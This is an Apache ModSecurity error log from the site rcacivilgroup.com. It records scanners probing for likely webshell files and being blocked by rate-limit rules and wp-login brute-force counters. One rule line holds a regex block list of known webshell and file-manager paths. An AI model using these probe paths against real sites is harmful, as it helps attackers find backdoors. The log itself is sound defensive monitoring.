[Sat May 16 10:38:28.875398 2026] [:error] [pid 61361:tid 61378] [client 20.151.206.3:27344] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mah.php"] [unique_id "agfYpJZojzbt3jGziNkG8wAAAU8"]
[Sat May 16 10:38:29.287457 2026] [:error] [pid 24874:tid 24945] [client 20.151.206.3:27421] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mah.php"] [unique_id "agfYpciii6x3XidYGHHG4wAAAIo"]
[Sat May 16 10:38:29.728819 2026] [:error] [pid 61361:tid 61375] [client 20.151.206.3:27378] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mah.php"] [unique_id "agfYpZZojzbt3jGziNkG9gAAAUw"]
[Sat May 16 10:38:30.166996 2026] [:error] [pid 62210:tid 62224] [client 20.151.206.3:27347] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mah.php"] [unique_id "agfYpsjHonCA4ORo40GwnAAAAkw"]
[Sat May 16 10:38:30.588401 2026] [:error] [pid 61411:tid 61417] [client 20.151.206.3:27358] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins.php"] [unique_id "agfYpmVkiEwGnPL_dvHJeAAAAYQ"]
[Sat May 16 10:38:31.010022 2026] [:error] [pid 61463:tid 61483] [client 20.151.206.3:27409] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins.php"] [unique_id "agfYpzXdL1WU7nYXPmTZkgAAAdI"]
[Sat May 16 10:38:31.425879 2026] [:error] [pid 61361:tid 61373] [client 20.151.206.3:27395] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins.php"] [unique_id "agfYp5Zojzbt3jGziNkG-AAAAUo"]
[Sat May 16 10:38:31.851269 2026] [:error] [pid 24874:tid 24958] [client 20.151.206.3:27450] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins.php"] [unique_id "agfYp8iii6x3XidYGHHG5gAAAJc"]
[Sat May 16 10:38:32.274170 2026] [:error] [pid 61463:tid 61473] [client 20.151.206.3:27426] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sf.php"] [unique_id "agfYqDXdL1WU7nYXPmTZlAAAAcg"]
[Sat May 16 10:38:32.690933 2026] [:error] [pid 61463:tid 61475] [client 20.151.206.3:27605] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sf.php"] [unique_id "agfYqDXdL1WU7nYXPmTZlQAAAco"]
[Sat May 16 10:38:33.106969 2026] [:error] [pid 24979:tid 24991] [client 20.151.206.3:27349] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sf.php"] [unique_id "agfYqbvSFUQiwLaOL2pjjgAAAMo"]
[Sat May 16 10:38:33.526192 2026] [:error] [pid 24979:tid 24999] [client 20.151.206.3:27365] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sf.php"] [unique_id "agfYqbvSFUQiwLaOL2pjkAAAANI"]
[Sat May 16 10:38:33.944099 2026] [:error] [pid 62210:tid 62234] [client 20.151.206.3:27339] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "agfYqcjHonCA4ORo40GwnwAAAlY"]
[Sat May 16 10:38:34.372127 2026] [:error] [pid 61361:tid 61386] [client 20.151.206.3:27398] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "agfYqpZojzbt3jGziNkG-wAAAVc"]
[Sat May 16 10:38:34.794425 2026] [:error] [pid 24979:tid 24996] [client 20.151.206.3:27435] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "agfYqrvSFUQiwLaOL2pjlgAAAM8"]
[Sat May 16 10:38:35.216189 2026] [:error] [pid 61411:tid 61434] [client 20.151.206.3:27352] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "agfYq2VkiEwGnPL_dvHJfAAAAZU"]
[Sat May 16 10:38:35.629951 2026] [:error] [pid 61361:tid 61372] [client 20.151.206.3:27346] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "agfYq5Zojzbt3jGziNkG_AAAAUk"]
[Sat May 16 10:38:36.047076 2026] [:error] [pid 61361:tid 61366] [client 20.151.206.3:27428] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "agfYrJZojzbt3jGziNkG_wAAAUM"]
[Sat May 16 10:38:36.463296 2026] [:error] [pid 61361:tid 61384] [client 20.151.206.3:27265] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "agfYrJZojzbt3jGziNkHAQAAAVU"]
[Sat May 16 10:38:36.879892 2026] [:error] [pid 61361:tid 61378] [client 20.151.206.3:27270] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "agfYrJZojzbt3jGziNkHAgAAAU8"]
[Sat May 16 10:38:37.298860 2026] [:error] [pid 61361:tid 61368] [client 20.151.206.3:27331] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ini.php"] [unique_id "agfYrZZojzbt3jGziNkHBAAAAUU"]
[Sat May 16 10:38:37.716493 2026] [:error] [pid 61361:tid 61363] [client 20.151.206.3:27383] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ini.php"] [unique_id "agfYrZZojzbt3jGziNkHBwAAAUA"]
[Sat May 16 10:38:38.133346 2026] [:error] [pid 61361:tid 61381] [client 20.151.206.3:27098] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ini.php"] [unique_id "agfYrpZojzbt3jGziNkHCAAAAVI"]
[Sat May 16 10:38:38.554404 2026] [:error] [pid 24869:tid 24921] [client 20.151.206.3:27384] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ini.php"] [unique_id "agfYruxo3FMprMltYl4iWQAAAE0"]
[Sat May 16 10:38:38.972619 2026] [:error] [pid 61361:tid 61382] [client 20.151.206.3:27080] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ca4.php"] [unique_id "agfYrpZojzbt3jGziNkHCwAAAVM"]
[Sat May 16 10:38:39.407706 2026] [:error] [pid 61361:tid 61373] [client 20.151.206.3:27309] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ca4.php"] [unique_id "agfYr5Zojzbt3jGziNkHDQAAAUo"]
[Sat May 16 10:38:39.823119 2026] [:error] [pid 61361:tid 61374] [client 20.151.206.3:27375] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ca4.php"] [unique_id "agfYr5Zojzbt3jGziNkHDwAAAUs"]
[Sat May 16 10:38:40.241229 2026] [:error] [pid 61361:tid 61377] [client 20.151.206.3:27340] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ca4.php"] [unique_id "agfYsJZojzbt3jGziNkHEgAAAU4"]
[Sat May 16 10:38:40.653871 2026] [:error] [pid 61361:tid 61384] [client 20.151.206.3:27391] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/includes/index.php"] [unique_id "agfYsJZojzbt3jGziNkHFQAAAVU"]
[Sat May 16 10:38:41.070558 2026] [:error] [pid 61361:tid 61363] [client 20.151.206.3:27361] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/includes/index.php"] [unique_id "agfYsZZojzbt3jGziNkHGQAAAUA"]
[Sat May 16 10:38:41.486839 2026] [:error] [pid 61361:tid 61371] [client 20.151.206.3:27316] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/includes/index.php"] [unique_id "agfYsZZojzbt3jGziNkHGwAAAUg"]
[Sat May 16 10:38:41.905305 2026] [:error] [pid 24979:tid 24998] [client 20.151.206.3:27298] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/includes/index.php"] [unique_id "agfYsbvSFUQiwLaOL2pjuQAAANE"]
[Sat May 16 10:38:42.318713 2026] [:error] [pid 24979:tid 24987] [client 20.151.206.3:27341] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-info.php"] [unique_id "agfYsrvSFUQiwLaOL2pjuwAAAMY"]
[Sat May 16 10:38:42.731182 2026] [:error] [pid 62341:tid 62362] [client 20.151.206.3:27444] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-info.php"] [unique_id "agfYsqnvQ59ep-XG78iL9wAAApA"]
[Sat May 16 10:38:43.149433 2026] [:error] [pid 24869:tid 24919] [client 20.151.206.3:27446] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-info.php"] [unique_id "agfYs-xo3FMprMltYl4iWgAAAEs"]
[Sat May 16 10:38:43.568007 2026] [:error] [pid 61361:tid 61368] [client 20.151.206.3:27323] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-info.php"] [unique_id "agfYs5Zojzbt3jGziNkHKAAAAUU"]
[Sat May 16 10:38:43.981189 2026] [:error] [pid 61361:tid 61363] [client 20.151.206.3:27411] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/init.php"] [unique_id "agfYs5Zojzbt3jGziNkHKwAAAUA"]
[Sat May 16 10:38:44.394677 2026] [:error] [pid 61361:tid 61381] [client 20.151.206.3:27317] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/init.php"] [unique_id "agfYtJZojzbt3jGziNkHLQAAAVI"]
[Sat May 16 10:38:44.813353 2026] [:error] [pid 61361:tid 61367] [client 20.151.206.3:27272] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/init.php"] [unique_id "agfYtJZojzbt3jGziNkHLgAAAUQ"]
[Sat May 16 10:38:45.232379 2026] [:error] [pid 61361:tid 61373] [client 20.151.206.3:27360] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/init.php"] [unique_id "agfYtZZojzbt3jGziNkHMQAAAUo"]
[Sat May 16 10:38:45.652571 2026] [:error] [pid 24869:tid 24929] [client 20.151.206.3:27211] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "agfYtexo3FMprMltYl4iWwAAAFU"]
[Sat May 16 10:38:46.078468 2026] [:error] [pid 24869:tid 24922] [client 20.151.206.3:27125] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "agfYtuxo3FMprMltYl4iXAAAAE4"]
[Sat May 16 10:38:46.495407 2026] [:error] [pid 61411:tid 61417] [client 20.151.206.3:27126] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "agfYtmVkiEwGnPL_dvHJgQAAAYQ"]
[Sat May 16 10:38:46.911630 2026] [:error] [pid 62341:tid 62347] [client 20.151.206.3:27448] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "agfYtqnvQ59ep-XG78iL-QAAAoE"]
[Sat May 16 10:38:47.330439 2026] [:error] [pid 61361:tid 61363] [client 20.151.206.3:27368] [client 20.151.206.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "agfYt5Zojzbt3jGziNkHPAAAAUA"]
[Sat May 16 10:38:47.761878 2026] [:error] [pid 62341:tid 62358] [client 20.151.206.3:27447] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.ph"] [unique_id "agfYt6nvQ59ep-XG78iL-gAAAow"]
[Sat May 16 10:38:48.186303 2026] [:error] [pid 61361:tid 61373] [client 20.151.206.3:27353] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.ph"] [unique_id "agfYuJZojzbt3jGziNkHPwAAAUo"]
[Sat May 16 10:38:48.603856 2026] [:error] [pid 61361:tid 61386] [client 20.151.206.3:27370] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.ph"] [unique_id "agfYuJZojzbt3jGziNkHQQAAAVc"]
[Sat May 16 10:38:49.020720 2026] [:error] [pid 61463:tid 61472] [client 20.151.206.3:27454] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.ph"] [unique_id "agfYuTXdL1WU7nYXPmTZmQAAAcc"]
[Sat May 16 10:49:24.302873 2026] [:error] [pid 61361:tid 61369] [client 52.184.28.71:2674] [client 52.184.28.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "agfbNJZojzbt3jGziNkKjgAAAUY"]
[Sat May 16 10:49:24.851636 2026] [:error] [pid 61463:tid 61476] [client 52.184.28.71:2468] [client 52.184.28.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "agfbNDXdL1WU7nYXPmTaRQAAAcs"]
[Sat May 16 10:49:25.406936 2026] [:error] [pid 61463:tid 61483] [client 52.184.28.71:3968] [client 52.184.28.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "agfbNTXdL1WU7nYXPmTaRwAAAdI"]
[Sat May 16 10:49:25.961143 2026] [:error] [pid 61463:tid 61477] [client 52.184.28.71:1122] [client 52.184.28.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "agfbNTXdL1WU7nYXPmTaSAAAAcw"]
[Sat May 16 10:51:36.924765 2026] [:error] [pid 62341:tid 62348] [client 3.109.57.223:54476] [client 3.109.57.223] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.109.57.223, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agfbuKnvQ59ep-XG78iNlwAAAoI"]
[Sat May 16 10:51:38.706218 2026] [:error] [pid 62341:tid 62351] [client 3.109.57.223:54476] [client 3.109.57.223] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.109.57.223, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agfbuqnvQ59ep-XG78iNmAAAAoU"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 11:44:30.930885 2026] [:error] [pid 61361:tid 61375] [client 167.172.235.237:65500] [client 167.172.235.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.235.237, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agfoHpZojzbt3jGziNkXewAAAUw"]
